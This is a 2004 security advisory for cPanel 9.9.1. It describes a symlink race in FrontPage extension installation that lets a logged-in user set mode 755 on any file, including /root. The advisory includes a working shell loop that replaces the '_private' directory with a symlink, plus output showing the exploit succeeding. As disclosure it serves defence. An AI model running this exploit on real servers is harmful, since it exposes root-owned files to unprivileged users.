

Name: cPanel
Vendor URL: <http://www.cpanel.net>
Author: Karol Więsek <appelast@drumnbass.art.pl>
Date: September 30, 2004

Issue:

cPanel allows logged in users to change permission of any file to 755.

Description:

cPanel is a next generation web hosting control panel system. cPanel is extremely feature rich as well as include an easy to use web based interface (GUI). cPanel is designed for the end users of your system and allows them to control everything from adding / removing email accounts to administering MySQL databases.

Details:

cPanel allows users to turn on/off front fage extensions. It is done with effective uid of system administrator (root). During this special directory `_private` is created, and then it is `chmod()` to 755. Attacker could remove that directory, and create symlink to any file, thus it will be `chmod()` ed.

Exploit:

To exploit this vulnerability just link file/directory you want to `chmod` to `_private` in users `public_html`, and execute installation of frontpage extensions.

```
appelast@only:~/www$ ls -al /root
ls: /root: Brak dostępu
appelast@only:~/www$ while [ 1 ]; do if [ -d "_private" ]; then rm -fr _private; ln
-s /root _private; break; fi; done
appelast@only:~/www$ ls -al /root | head - 3
razem 2212
drwxr-xr-x 28 root root 4096 paź 18 05:49 .
drwx--x--x 22 root root 4096 paź 9 21:56 ..
appelast@only:~/www$
```

Exploitation could be made via php, cgi, crontab or shell access.

Tested on cPanel 9.9.1- RELEASE-3, and confirmed vulnerable.